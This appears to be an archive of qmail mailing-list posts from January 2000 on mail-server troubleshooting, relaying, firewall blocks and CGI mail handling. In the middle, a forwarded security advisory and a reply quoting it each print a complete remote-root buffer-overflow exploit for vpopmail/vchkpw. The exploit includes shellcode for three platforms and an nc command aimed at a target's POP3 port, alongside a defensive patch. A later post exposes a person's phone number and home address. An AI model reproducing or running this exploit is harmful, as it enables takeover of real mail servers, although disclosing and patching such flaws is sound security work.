[EMAIL PROTECTED] wrote: >Hi all....well, I *had* everything working smoothly, but I went and loused it >up and now I'm having some troubles with qmail again. Here's what I get: >alert: cannot start: unable to switch to queue directory. > >I've looked through the archives, and I checked the permissions on the queue >directory and they're >drwxr-x--- 11 qmailq qmail >Which seems to be correct....Anyone have any other ideas? Try Russ Nelson's qmail-lint or "make check" from the source directory. -Dave
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 24 Jan 00, at 13:06, Dave Sill wrote: > Try Russ Nelson's qmail-lint It's quite funny that to us young guns, "lint" doesn't mean anything. I vaguely remember that something called "lint" was mentioned in the Kernigham-Ritchie C book as the program to run to find out hidden problems - but I learned to rely just on gcc -Wall and never used lint or such... -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: http://community.wow.net/grt/qdpgp.html iQA/AwUBOIynulMwP8g7qbw/EQJhnwCfcjavREJrj1S8O0LbWmvoW8lcqGkAnjUX 0XfY5d0+EBMm3i7xqF8oJjUi =9iF4 -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS [EMAIL PROTECTED] http://www.antek.cz PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits]
listy-dyskusyjne Krzysztof Dabrowski <[EMAIL PROTECTED]> wrote: >BTW: Has anybody hacked on SMTH AUTH?? >From www.gmail.org: Mrs. Brisby has written a user/password based authentication mechanism for qmail-smtpd. This lets your microsoft's outlook express supports (outgoing mail server user name) and netscape 4.5 (and above-betas) users securely roam. Users can use a slightly modified version of their own checkpassword.c program as outlined in my own vchkpw.c that I use. Also, two very simple perl scripts to perform pop3-based authentication for qmail. -Dave
> Mrs. Brisby has written a user/password based authentication > mechanism for qmail-smtpd. This lets your microsoft's outlook > express supports (outgoing mail server user name) and netscape > 4.5 (and above-betas) users securely roam. Users can use a > slightly modified version of their own checkpassword.c program as > outlined in my own vchkpw.c that I use. Also, two very simple > perl scripts to perform pop3-based authentication for qmail. > >-Dave Actualy this is not true. Mr. Brisby's patch works OK only with The Bat, Outlook Express 5 and ONE version of netscaoe (forgot which one). I've tested hell of a lot mail clients with it. Kris
"Jakob Solomon" <[EMAIL PROTECTED]> wrote: >I want to close our mail server for open relay. See: http://Web.InfoAve.Net/~dsill/lwq.html#relaying >I currently use qpopper (2.53) and >don't want to change it >qpooper uses users home directories ($HOME/Mailbox - where mailbox is a >file) Are you wanting to do relay-after-POP? >I didn't find any patch to make qmail-pop3d read >e-mail from users home directories therefore I can't >use any of the patches of utilities suggested regarding >checking of the pop3 before sending e-mail. qmail-pop3d *only* reads mail from the user's home directory. *But* it only support maildir's, not mbox's. -Dave
Hi, I have an operational theory question: when the load in a qmail setup reaches certain level the queue starts to grow and after a short time the number of unprocessed messages starts to grow as well. This is OK, but: at the same time the speed of local-deliveries slows down tenfold and the queue is filling up more and more. The only way to stop this is to stop the incoming flow of messages, then the local deliveries are fast again and the server recovers. Of course the whole story is about an overloaded i/o subsystem which has to be upgraded, but still I want to know why do the local deliveries slow down so much in a race condition to give an exact answer for the collegues who blame qmail and say this would not occur in a sendmail or other MTA based system. Andras Tudos C3, Budapest
There is no "race condition" within qmail simply because of load, so it might benefit from some elaboration from your collegues as to what "race condition" they are referring to. qmail goes non-linear if the unprocessed queue gets large (> 20-30 is a sign of trouble), and it goes non-linear for the same reasons that sendmail does with a single directory for a queue. Unix directory operations are typically non-linear as the directory grows. One possible reason for local deliveries slowing is that qmail-send isn't scheduling them as quickly due to the aforementioned problem or they are contending for the same disk. As always. Why a program is slowing down is total speculation unless an analysis of resources is performed at the time. What did your analysis show? Regards. On Mon, Jan 24, 2000 at 07:28:56PM +0100, Andras Tudos - Computronic, C3 wrote: > Hi, > > I have an operational theory question: when the load in a qmail setup > reaches certain level the queue starts to grow and after a short time the > number of unprocessed messages starts to grow as well. This is OK, but: at > the same time the speed of local-deliveries slows down tenfold and the > queue is filling up more and more. The only way to stop this is to stop the > incoming flow of messages, then the local deliveries are fast again and the > server recovers. Of course the whole story is about an overloaded i/o > subsystem which has to be upgraded, but still I want to know why do the > local deliveries slow down so much in a race condition to give an exact > answer for the collegues who blame qmail and say this would not occur in a > sendmail or other MTA based system. > > Andras Tudos > C3, Budapest >
On 24/01 19:28, Andras Tudos - Computronic, C3 wrote: > I have an operational theory question: when the load in a qmail setup > [...snip...] > not occur in a sendmail or other MTA based system. What operating system? Are you using Maildir or mailbox? gjvc -- [gjvc] In god we're trussed
At 2000.01.24 20:58, Monday, you wrote: >On 24/01 19:28, Andras Tudos - Computronic, C3 wrote: > > > I have an operational theory question: when the load in a qmail setup > > [...snip...] > > not occur in a sendmail or other MTA based system. > >What operating system? Are you using Maildir or mailbox? Solaris 2.6 and Maildir. But I think the answer was given already: the problem is the flat queue/todo folder and the solution is the big-todo patch. Of course the most important is to have enough I/O to be able to deliver without filling up the queue: the disk subsystem was the real bottleneck, which is being upgraded now. Andras
i'm almost done setting up qmail, but i still have one major hurdle. i'm going through TEST.retrieve and i'm at the point where it says to send your user an email from another site. i send an email to [EMAIL PROTECTED], however, it never gets there. i've put smtp stream tcp nowait qmaild /var/qmail/bin/tcp-env tcp-env /var/qmail/bin/qmail-smtpd in inetd.conf, and i can send email through the method shown in TEST.retrieve (via telneting to port 25 on the site, etc.) however, when i send email from a different site, it never arrives. instead, i get this returned to the account i sent the email on: ----- The following addresses had transient non-fatal errors ----- <[EMAIL PROTECTED]> ----- Transcript of session follows ----- <[EMAIL PROTECTED]>... Deferred: No route to host Warning: message still undelivered after 4 hours Will keep trying until message is 5 days old i'm betting the email will never get to my site, and i don't know why. i don't know what i'm leaving out, but if anyone else does, please let me know! -Eric
"Eric LaLonde" <[EMAIL PROTECTED]> wrote: ><[EMAIL PROTECTED]>... Deferred: No route to host Hmm. What does "ping mail.daylightfading.org" do? Sounds like you have connectivity problems. -Dave
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 24 Jan 00, at 15:12, Dave Sill wrote: > "Eric LaLonde" <[EMAIL PROTECTED]> wrote: > > ><[EMAIL PROTECTED]>... Deferred: No route to host > > Hmm. What does "ping mail.daylightfading.org" do? Sounds like you have > connectivity problems. > He does - telnet to any of his ports complains of "no route to host". Oddly enough, both ping and traceroute work. I told him already to go ask his ISP, or tech, or admin, or so. -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: http://community.wow.net/grt/qdpgp.html iQA/AwUBOIzBT1MwP8g7qbw/EQIJFwCfbXs21TA0v+78YJZHULtUclzBHYkAoPvU OlpZcXK1CEYIGFX41ereqNGY =8F/Z -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS [EMAIL PROTECTED] http://www.antek.cz PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits]
> He does - telnet to any of his ports complains of "no route to host". > Oddly enough, both ping and traceroute work. that doesn't seem to be the case. I can telnet to port 21 on daylightfading.org just fine. It refuses me because i've closed off the telnet port, (i use ssh), but it still connects just fine. Its only port 25 that says there's no route to host. I will definately email my net admin, but if you have any idea why it would connect fine to port 21, and not 25, let me know. (yes, smtp is listed as 25/tcp in /etc/services!) Thanks for helping me investigate this matter, Eric ----- Original Message ----- From: "Petr Novotny" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, January 24, 2000 1:17 PM Subject: Re: problems retrieving email > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 24 Jan 00, at 15:12, Dave Sill wrote: > > > "Eric LaLonde" <[EMAIL PROTECTED]> wrote: > > > > ><[EMAIL PROTECTED]>... Deferred: No route to host > > > > Hmm. What does "ping mail.daylightfading.org" do? Sounds like you have > > connectivity problems. > > > > He does - telnet to any of his ports complains of "no route to host". > Oddly enough, both ping and traceroute work. > > I told him already to go ask his ISP, or tech, or admin, or so. > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.0.2 -- QDPGP 2.60 > Comment: http://community.wow.net/grt/qdpgp.html > > iQA/AwUBOIzBT1MwP8g7qbw/EQIJFwCfbXs21TA0v+78YJZHULtUclzBHYkAoPvU > OlpZcXK1CEYIGFX41ereqNGY > =8F/Z > -----END PGP SIGNATURE----- > -- > Petr Novotny, ANTEK CS > [EMAIL PROTECTED] > http://www.antek.cz > PGP key ID: 0x3BA9BC3F > -- Don't you know there ain't no devil there's just God when he's drunk. > [Tom Waits] >
* Eric LaLonde (Mon, Jan 24, 2000 at 02:20:39PM -0800) > I will definately email my net admin, but if you have any idea > why it would connect fine to port 21, and not 25, let me know. Sounds like there is a firewall in between. A polite firewall will often answer back with an ICMP message of some sort. Usually "admin prohibited filter" (or something) A rude one will just drop the packets, and be quiet about it. Another thing that strenghtens my suspicion is that the next IP address in the range shows the same. ssm@hastur: ssm $telnet daylightfading.org 25 Trying 169.233.15.76... telnet: Unable to connect to remote host: No route to host ssm@hastur: ssm $telnet 169.233.15.77 25 Trying 169.233.15.77... telnet: Unable to connect to remote host: No route to host ssm@hastur: ssm $telnet 169.233.15.77 22 Trying 169.233.15.77... telnet: Unable to connect to remote host: Connection refused Ask you friendly network administrator. -- SSM - Stig Sandbeck Mathisen Trust the Computer, the Computer is your Friend
Ah yes, straight from the admin: > Port 25 is generally used for the SMTP server, which we block to > prevent student machines from being used as email gateways for spam. > If your service is not SMTP there should be a way to move it to another port. If I change smtp's port, will that circumvent this problem? :) - Eric ----- Original Message ----- From: "Stig Sandbeck Mathisen" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, January 24, 2000 2:32 PM Subject: Re: problems retrieving email > * Eric LaLonde (Mon, Jan 24, 2000 at 02:20:39PM -0800) > > > I will definately email my net admin, but if you have any idea > > why it would connect fine to port 21, and not 25, let me know. > > Sounds like there is a firewall in between. A polite firewall > will often answer back with an ICMP message of some sort. > Usually "admin prohibited filter" (or something) > > A rude one will just drop the packets, and be quiet about it. > > Another thing that strenghtens my suspicion is that the next IP > address in the range shows the same. > > ssm@hastur: ssm $telnet daylightfading.org 25 > Trying 169.233.15.76... > telnet: Unable to connect to remote host: No route to host > > ssm@hastur: ssm $telnet 169.233.15.77 25 > Trying 169.233.15.77... > telnet: Unable to connect to remote host: No route to host > ssm@hastur: ssm $telnet 169.233.15.77 22 > Trying 169.233.15.77... > telnet: Unable to connect to remote host: Connection refused > > > Ask you friendly network administrator. > > -- > SSM - Stig Sandbeck Mathisen > Trust the Computer, the Computer is your Friend >
Looking in my maillog, I see: Jan 23 04:10:09 helix qmail: 948625809.080273 status: local 1/10 remote 0/20 Jan 23 04:10:09 helix qmail: 948625809.724284 delivery 126: deferral: Can't_open _error_file!/ Jan 23 04:10:09 helix qmail: 948625809.724501 status: local 0/10 remote 0/20 And I'm trying to see just why it's happening, so that I can fix the problem. I have two questions: A) Why are these messages not being delieverd? Looking in the queue, I see a few old messages from a mailing list. The "To:" field has the address for the list, [EMAIL PROTECTED] . Nowhere in the headers is there a reference to the user's email address. Now... all of the other messages from this list come through just fine to the user. Why would these few be fouling up? B) I assume that it is trying to open $HOME/error.file to write some information to, but is not able to. The user's directory is owned by them and their group, and has permissions 0755. Is there something more I need to do? steve
"Steve Wolfe" <[EMAIL PROTECTED]> wrote: >Jan 23 04:10:09 helix qmail: 948625809.724284 delivery 126: deferral: >Can't_open_error_file!/ That's not a qmail error message. You must be using some other delivery agent in a .qmail file or in the qmail-start command. >A) Why are these messages not being delieverd? Because the MDA "Can't open error file!" Why? Dunno. Which error file? Dunno. Which MDA? Can't tell. Look at the .qmail file. > Looking in the queue, I see a few old messages from a mailing list. The >"To:" field has the address for the list, [EMAIL PROTECTED] . Nowhere >in the headers is there a reference to the user's email address. Yeah, that information is in the SMTP envelope, stored in queue/remote and queue/local files. > Now... all of the other messages from this list come through just fine >to the user. Why would these few be fouling up? Beats me. >B) I assume that it is trying to open $HOME/error.file to write some >information to, but is not able to. I wouldn't assume that. -Dave
What does not having reverse DNS really mean when it comes to a mail server? We are moving our server from a machine WITH reverse DNS at our old ISP, to a machine in house that reverse DNS cant be set right now due to a messup at ARIN. How many servers really reject mail based on reverse? This is a mailing list host. Thanks, Justin -- [EMAIL PROTECTED] Justin Bell Pearson PTC Get money back when shopping online Programmer http://www.ebates.com/index.jhtml?referrer=jaymz Get $20 FREE! https://preview.x.com/new_account.asp?[EMAIL PROTECTED] Get $10 FREE https://secure.paypal.com/refer/pal=justin%40iquest.net Get paid to surf the web http://www.alladvantage.com/go.asp?refid=FBH998
Never thought that it was a problem. I used to use a ml.org dynamic IP host for a temporary mailserver. I never had a problem, receiving or sending. At 03:32 PM 1/24/00 -0500, you wrote: >What does not having reverse DNS really mean when it comes to a mail server? > >We are moving our server from a machine WITH reverse DNS at our old ISP, to a >machine in house that reverse DNS cant be set right now due to a messup at >ARIN. > >How many servers really reject mail based on reverse? > >This is a mailing list host. > >Thanks, >Justin >-- >[EMAIL PROTECTED] Justin Bell > Pearson PTC >Get money back when shopping online Programmer >http://www.ebates.com/index.jhtml?referrer=jaymz > >Get $20 FREE! >https://preview.x.com/new_account.asp?[EMAIL PROTECTED] > >Get $10 FREE >https://secure.paypal.com/refer/pal=justin%40iquest.net > >Get paid to surf the web >http://www.alladvantage.com/go.asp?refid=FBH998
On Mon, Jan 24, 2000 at 03:32:51PM -0500, Justin Bell wrote: > How many servers really reject mail based on reverse? mail.com does. I have see others. I don't know why they to that. It must slow things down quite a bit. Spammers can easily defeat it. Neil
Scan4Virus is a qmail-based antivirus perl wrapper which works in conjunction with Unix-based virus scanners such as McAfee's, Trend's and Sophos. It will scan all Email arriving via SMTP for viruses and will quarantine those containing viruses. Use on Internet gateways to protect the Internet from your users ;-) Get it from http://www.geocities.com/jhaar/ Major changes since last release: * Now uses qmail-queue directly - no longer needs to invoke qmail-inject * New built-in scanner! perlscan_scanner scans a DB file containing attachment filenames and sizes - a match means virus. * Initial support for metamail -- Cheers Jason Haar Unix/Network Specialist, Trimble NZ Phone: +64 3 3391 377 Fax: +64 3 3391 417
We had previously not been using rcpthosts, but decided to after falling victim to a spammer. I've put everything in locals and virtualdomains in rcpthosts, but now it won't let my local users send to remote domains. I've also added a wildcard for our domain (e.g., .domain.com), but that didn't help. Any suggestions? Adam
After being pointed in the right direction by a kind soul, it was almost embarrassingly easy...the problem is solved. Nothing more to see here...move along... -Adam On Mon, 24 Jan 2000, Adam Michaud wrote: > > We had previously not been using rcpthosts, but decided to after falling > victim to a spammer. I've put everything in locals and virtualdomains in > rcpthosts, but now it won't let my local users send to remote domains. > > I've also added a wildcard for our domain (e.g., .domain.com), but that > didn't help. > > Any suggestions? > > Adam >
in some of my cgi scripts who used to use sendmail i am now having them use /var/qmail/bin/sendmail, what doesnt work now that ive changed is mailing to multiple recipients using a commma. for example: mail [EMAIL PROTECTED],[EMAIL PROTECTED] -s test < file.txt that will ignore the first address and only mail to the second address. bug? what can be done? -- .-------- --- - | kevin olson (acidjazz)[[EMAIL PROTECTED]] | programming and development | visual perspectives internet [http://www.vpi.net] `------------------- ---- -- -
> in some of my cgi scripts who used to use sendmail i am now having them > use /var/qmail/bin/sendmail, > what doesnt work now that ive changed is mailing to multiple recipients > using a commma. > for example: > > mail [EMAIL PROTECTED],[EMAIL PROTECTED] -s test < file.txt Simply calling "mail {address}" from a CGI program is almost always a bad thing. In many CGI applications, you're getting the email address from user input, and you have to do things like escape shell characters, watch for buffer overruns, etc.. It's much better to do something like this to sendmail or QMail's replacement: #!/usr/bin/perl open(MAILPIPE,"|/usr/sbin/sendmail -oi -t") || die; print MAILPIPE <EOH1 To: $address1, $address2 From: [EMAIL PROTECTED] Subject: The subject blah, blah, blah... EOH1 ; That way, user-supplied data is never passed on the command-line, and using multiple addresses works fine. steve
I am in the process of migrating from Sendmail to qmail. There are no users on the new machine so anything is an option. My question... I am used to using the cac.washington.edu pop server with my sendmail machines. I am in the process of reading a qmail HOWTO and the author outlines the installation of qpopper. Can anyone tell me what the differences between the products are? And which one will be more benifitial to me... My configuration info: FreeBSD 3.4, Intel Celeron 400 processor, 96MB of Ram, 6GB hard drive, T1 internet connection. I have 100 total e-mail users currently (we are growing very fast), the current sendmail machine is processing 3,000-4,000 messages per day on average. All of the users are using Pop. There are no IMAP users. Only the root account needs console mail. Thanks in advance, Max e. [EMAIL PROTECTED]
What do you think ? Vpopmail (qmail add-on) is vulnerable to remote root exploit (vpopmail, vchkpw) ---------------------------------------------------------------------------- ---- SUMMARY When the vpopmail qmail add-on is installed and used to authenticate user information, a remote attacker may compromise the machine by supplying a long argument to qmail (which passes it to vpopmail). A remote attacker may obtain the privilege level of the authentication module - usually root. DETAILS Qmail-pop3d assumes that its password-check mechanism will support the long password that is passed to it. While according to the RFC 1939 (Post Office Protocol version 3) POP-3 passwords should be no longer than 40 characters, qmail supports longer passwords, and therefore it's possible to pass vpopmail (a specific password verification mechanism) passwords which are longer than it expects - causing a buffer overflow. Exploit: /* qmail-qpop3d-vchkpw.c (v.3) by: K2, The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd) has big problems ;) gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86] ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110 play with the alignment to get it to A) crash B) work. qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now. Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE vpopmail-3.4.10a/vpopmail-3.4.11[b-e] Hi plaguez. prop's to Interrupt for testing with bsd, _eixon an others ;) cheez shell's :) THX goes out to STARBUCKS*!($#! */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 260 #define NOP 0x90 #ifdef SX86 #define DEFOFF 0x8047cfc #define NOPDEF 75 #elif BSD #define DEFOFF 0xbfbfdbbf #define NOPDEF 81 #else #define DEFOFF 0xbffffcd8 #define NOPDEF 81 #endif char *shell = #ifdef SX86 // Solaris IA32 shellcode, cheez "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #elif BSD // fBSD shellcode, [EMAIL PROTECTED] "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; #else // Linux shellcode, no idea "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh\xff"; #endif int main(int argc, char **argv) { int i=0,esp=0,offset=0,nop=NOPDEF; char buffer[SIZE]; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtol(argv[2], NULL, 0); esp = DEFOFF; memset(buffer, NOP, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) { *((int *) &buffer[i]) = esp+offset; } printf("user %s\n",buffer); printf("pass ADMR0X&*!(#&*(!\n"); fprintf(stderr,"\nbuflen = %d, nops = %d, target = 0x%x\n\n",strlen(buffer),nop,esp+offset); return(0); } Patch: --- qmail-1.03/qmail-popup.c Mon Jun 15 03:53:16 1998 +++ qmail-1.03-patch/qmail-popup.c Fri Jan 21 13:00:18 2000 @@ -13,6 +13,8 @@ #include "readwrite.h" #include "timeoutread.h" #include "timeoutwrite.h" +#include <unistd.h> +#include <syslog.h> void die() { _exit(1); } @@ -87,6 +89,24 @@ int child; int wstat; int pi[2]; + + /* + This patch should have minimal impact of normal qmail operations. + It was coded/tested under linux, but should work most everywhere. + */ + + if(strlen(user) >= 40) + { + syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(user)); + user[39]='\0'; + userlen=strlen(user); + } + + if(strlen(pass) >= 40) + { + syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(pass)); + pass[39]='\0'; + } if (fd_copy(2,1) == -1) die_pipe(); close(3); ADDITIONAL INFORMATION No solution is currently available. The information was provided by: <mailto:[EMAIL PROTECTED]> K2. ======================================== ------- AFLHI 058009990407128029/089802---(102598//991024)
The exploitable code has been fixed since Jan 20th. Ken Jones Irwan Hadi wrote: > > What do you think ? > > Vpopmail (qmail add-on) is vulnerable to remote root exploit > (vpopmail, vchkpw) > ---------------------------------------------------------------------------- > ---- > > SUMMARY > > When the vpopmail qmail add-on is installed and used to authenticate user > information, a remote attacker may compromise the machine by supplying a > long argument to qmail (which passes it to vpopmail). A remote attacker > may obtain the privilege level of the authentication module - usually > root. > > DETAILS > > Qmail-pop3d assumes that its password-check mechanism will support the > long password that is passed to it. While according to the RFC 1939 (Post > Office Protocol version 3) POP-3 passwords should be no longer than 40 > characters, qmail supports longer passwords, and therefore it's possible > to pass vpopmail (a specific password verification mechanism) passwords > which are longer than it expects - causing a buffer overflow. > > Exploit: > /* > qmail-qpop3d-vchkpw.c (v.3) > by: K2, > > The inter7 supported vchkpw/vpopmail package (replacement for > chkeckpasswd) > has big problems ;) > > gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86] > ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110 > > play with the alignment to get it to A) crash B) work. > qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for > now. > Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE > vpopmail-3.4.10a/vpopmail-3.4.11[b-e] > > Hi plaguez. > prop's to Interrupt for testing with bsd, _eixon an others ;) > cheez shell's :) > THX goes out to STARBUCKS*!($#! > */ > > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > > #define SIZE 260 > #define NOP 0x90 > #ifdef SX86 > #define DEFOFF 0x8047cfc > #define NOPDEF 75 > #elif BSD > #define DEFOFF 0xbfbfdbbf > #define NOPDEF 81 > #else > #define DEFOFF 0xbffffcd8 > #define NOPDEF 81 > #endif > > char *shell = > #ifdef SX86 // Solaris IA32 shellcode, cheez > "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" > "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" > "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" > "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" > "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" > "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; > #elif BSD // fBSD shellcode, [EMAIL PROTECTED] > > "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" > "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" > "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" > "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; > #else // Linux shellcode, no idea > "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" > "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" > "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" > "\xff\xff/bin/sh\xff"; > #endif > > int main(int argc, char **argv) > { > int i=0,esp=0,offset=0,nop=NOPDEF; > char buffer[SIZE]; > > if (argc > 1) offset += strtol(argv[1], NULL, 0); > if (argc > 2) nop += strtol(argv[2], NULL, 0); > > esp = DEFOFF; > > memset(buffer, NOP, SIZE); > memcpy(buffer+nop, shell, strlen(shell)); > for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) { > *((int *) &buffer[i]) = esp+offset; > } > > printf("user %s\n",buffer); > printf("pass ADMR0X&*!(#&*(!\n"); > > fprintf(stderr,"\nbuflen = %d, nops = %d, target = > 0x%x\n\n",strlen(buffer),nop,esp+offset); > return(0); > } > > Patch: > --- qmail-1.03/qmail-popup.c Mon Jun 15 03:53:16 1998 > +++ qmail-1.03-patch/qmail-popup.c Fri Jan 21 13:00:18 2000 > @@ -13,6 +13,8 @@ > #include "readwrite.h" > #include "timeoutread.h" > #include "timeoutwrite.h" > +#include <unistd.h> > +#include <syslog.h> > > void die() { _exit(1); } > > @@ -87,6 +89,24 @@ > int child; > int wstat; > int pi[2]; > + > + /* > + This patch should have minimal impact of normal qmail operations. > + It was coded/tested under linux, but should work most everywhere. > + */ > + > + if(strlen(user) >= 40) > + { > + syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(user)); > + user[39]='\0'; > + userlen=strlen(user); > + } > + > + if(strlen(pass) >= 40) > + { > + syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(pass)); > + pass[39]='\0'; > + } > > if (fd_copy(2,1) == -1) die_pipe(); > close(3); > > ADDITIONAL INFORMATION > > No solution is currently available. > > The information was provided by: <mailto:[EMAIL PROTECTED]> K2. > > ======================================== > > ------- > AFLHI 058009990407128029/089802---(102598//991024)
What's the difference between QMTP and QMQP? When and where should I use them? Brian -- [EMAIL PROTECTED] http://www.baquiran.com US Fax: (603) 908-0727 AIM: bbaquiran
Hi! Some of you know me, but for those who don't or don't care, please feel free to erase this message and I'm sorry for the inconvienience(sp?). Yep, it's me, I'm alive and kickin'. I'm here in paradise hell or SD. I will be here until the beginnings of April doin' nothin' but working and staring at the water. i'm going to the new orleans jazzfest april 28-may 7, anyone care to join? maybe carpool-room share action. so far it's Anna Kelleher and I. I've lost track of who hates who, so hope we're okay for ya'll. ha! Please contact me here at my brother David's house via: 760-744-2328 303 Belmont Court San Marcos,CA 92069 My email still works and I'm checking it regularly: [EMAIL PROTECTED] Ryan: Hey! thanks so much for emailing me. especially through the nass email way so i can hit everyone at once. how are you? How's Amy? please tell her i say hello. have you guys heard from Kaylene? gofigure supposedly doesn't work. i dunno if she's on the farm or what these days. look me up when your in SD. Yeah, bummer deal. I won't be doing any more firework roof things with you for awhile. looks like i'm headed to New York in the fall. Shotwells: Sure miss all of you! Please give Tesla a big wet kiss for me if you would, thanks. you'll be getting some pictures in the mail. hey, PAY UP FOR THE PHONE BILL KIDS! it's on the fridge. please send it to the above address or give it to Alex. Elena, please send me copies of the phone bill(s) so I can pay you, or I'll be there in a couple of weeks. I'd write everyone cute notes, but I'm a toad. email me something and i'll respond, K? Adios mis amigos fuertes. Love, Amanda Elder
What the heck is this and why's it on the qmail list? Jacob ----- Original Message ----- From: "AMANDA BETH ELDER" <[EMAIL PROTECTED]> To: "Segfult" <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Monday, January 24, 2000 6:41 PM Subject: Re: Ryan Sharon's new address > > Hi! Some of you know me, but for those who don't or don't care, > please feel free to erase this message and I'm sorry for the > inconvienience(sp?). > Yep, it's me, I'm alive and kickin'. I'm here in paradise hell or > SD. I will be here until the beginnings of April doin' nothin' but > working and staring at the water. i'm going to the new orleans jazzfest > april 28-may 7, anyone care to join? maybe carpool-room share action. so > far it's Anna Kelleher and I. I've lost track of who hates who, so hope > we're okay for ya'll. ha! > > > Please contact me here at my brother > David's house via: 760-744-2328 > 303 Belmont Court > San Marcos,CA 92069 > My email still works and I'm checking it regularly: > [EMAIL PROTECTED] > > Ryan: 